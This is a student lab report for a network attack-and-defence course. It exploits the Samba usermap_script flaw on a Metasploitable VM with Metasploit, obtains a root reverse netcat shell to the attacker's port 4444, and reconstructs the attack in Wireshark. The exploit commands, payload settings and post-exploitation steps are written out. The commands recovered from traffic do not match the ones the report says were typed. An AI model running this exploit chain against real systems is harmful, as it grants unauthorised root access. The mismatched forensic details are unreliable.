20251911 2025-2026-2 《网络攻防实践》实践7报告

1.实践内容

  • 任务一:使用 Metasploit 框架对 Linux 靶机的 Samba 服务进行远程渗透。通过 usermap_script 漏洞模块,配置合适的远程 Shell 载荷,设置目标与监听参数,完成漏洞利用,最终获取靶机的主机访问权限并验证权限级别。
  • 任务二:进行攻防对抗模拟。攻击方在任务一基础上进一步取得 root 权限,并在靶机上执行命令、留下痕迹;防守方通过 Wireshark 在攻击期间实时抓包,分析流量还原攻击全过程,提取攻击者 IP、目标 IP 与端口、攻击时间、漏洞利用细节、Shellcode 类型以及攻击成功后输入的指令。

2.实践过程

实验环境

系统 IP
Kali Linux 192.168.200.64
Metasploitable-Ubuntu 192.168.200.65

image
image

2.1 使用 Metasploit 进行 Linux 远程渗透攻击

确认连通性
攻击前先在 Kali 上 ping 192.168.200.65,确认靶机可达。
image

① 启动 Metasploit 软件
在 Kali 终端输入 msfconsole 进入 Metasploit 控制台。

② 加载渗透攻击模块
使用 Samba 的 usermap_script 漏洞模块:

use exploit/multi/samba/usermap_script

image

③ 选择攻击载荷
选用反向连接载荷,让靶机回连攻击机,避免正向连接被靶机防火墙拦截:

set payload cmd/unix/reverse_netcat

④ 设置渗透攻击参数

set RHOST 192.168.200.65
set LHOST 192.168.200.64
set LPORT 4444

使用 show options 确认参数配置无误。
image

⑤ 执行渗透攻击

exploit

执行后 Metasploit 提示攻击成功
image

输入以下命令进入会话:

sessions 1

即可正常执行命令。

⑥ 验证远程 Shell 与权限

  • 输入 hostname,显示 metasploitable,确认已进入靶机。
  • 输入 whoami,显示 root,表明已获得最高权限。
    image

2.2 攻防对抗实践

2.2.1 攻击方:持续控制与操作

保持上述已获得的 root shell 会话,或者重新按 2.1 步骤再次建立连接。在交互式 shell 中执行以下定制命令,模拟攻击者在系统上留下的活动轨迹:

whoami
pwd
mkdir /tmp/attack_evidence
echo "System compromised" > /tmp/attack_evidence/note.txt

image
这些命令依次完成身份验证、路径查询、创建隐蔽目录、写入标识文件。

2.2.2 防守方:Wireshark 抓包与攻击还原

抓包准备
在攻击机 Kali 上提前启动 Wireshark,选择与靶机通信的网卡(本例为 eth0),设置抓包过滤器 ip.addr == 192.168.200.65 以避免干扰,开始监听。

攻击过程重现
当攻击方执行 exploit 时,Wireshark 将记录所有与靶机之间的数据包。待攻击结束并执行完所有 shell 命令后,停止抓包并保存为 attack.pcapng

流量分析

  1. 确定攻击参与方
    通过 ip.addr == 192.168.200.65 过滤,发现攻击源 IP 为 192.168.200.64,目标 IP 为 192.168.200.65

  2. 定位漏洞利用阶段
    使用显示过滤器 tcp.port == 139 or tcp.port == 445 查看 SMB 流量,可观察到 Samba 会话建立及 NetBIOS 交互。
    image

通过追踪编号对应的 TCP 流,发现数据流中出现畸形用户名参数:/=; 等注入符号
image

搜索得出这正是 usermap_script 漏洞利用的核心手法——借助 Samba 对用户名映射脚本处理不当的缺陷,在用户名中注入恶意指令,从而在靶机成功触发反向 shell。

  1. 载荷与端口
    image

    在 SMB 漏洞利用流中可找到反向连接的指令,指定了回连端口 4444。随后 Wireshark 主面板会出现从 192.168.200.65192.168.200.64:4444 发起的 SYN 包,这就是反向 Shell 连接。连接建立后,追踪该 TCP 流可清晰看出攻击方依次发送了 whoamipwdmkdir...echo...ls... 等命令,靶机返回对应执行结果。由此可确认,攻击利用漏洞为 usermap_scriptShellcode/载荷类型为 Unix Reverse Netcat(流量中表现为靶机向攻击机回连建立 shell 会话)。

  2. 攻击发起时间
    在 Wireshark 中找到第一个包含畸形用户名的 SMB 请求包,查看其时间戳,获得精确的攻击起始时间
    image

  3. 成功后命令记录
    从反向 Shell 的 TCP 流中可直接提取攻击者输入的命令串image

    mkdir /tmp/attackedecho "pwned" > /tmp/attacked/flag.txtls -la /tmp/attacked。这些命令以明文传输,完整泄露了攻击者的操作意图和步骤。

通过上述分析,防守方成功还原了完整的攻击链,获得了攻击者 IP、目标 IP 与端口、攻击发起时间、利用漏洞、载荷类型以及攻击成功后执行的全部命令。

3.学习中遇到的问题及解决

  • 问题:在使用 bind_netcat 载荷时,exploit 显示成功但始终无法建立到 4444 端口的连接,返回超时。
  • 解决方案:排查发现 Metasploitable 靶机的防火墙ufw处于开启状态,阻止了外部对非服务端口的访问。在靶机执行 sudo ufw disable 临时关闭防火墙后再次攻击,成功获得 shell。实验后记得重新打开防火墙以保持环境安全。

4.实践总结

通过这次实践,我熟练掌握了使用 Metasploit 对 Linux 平台 Samba 服务漏洞进行攻击的整个流程,以及如何利用 Wireshark 对攻击流量进行完整取证分析。攻与防相互印证,加深了我对网络安全技术内里逻辑的理解.

posted @ 2026-05-06 16:29  yuzzz11111  阅读(6)  评论(0)    收藏  举报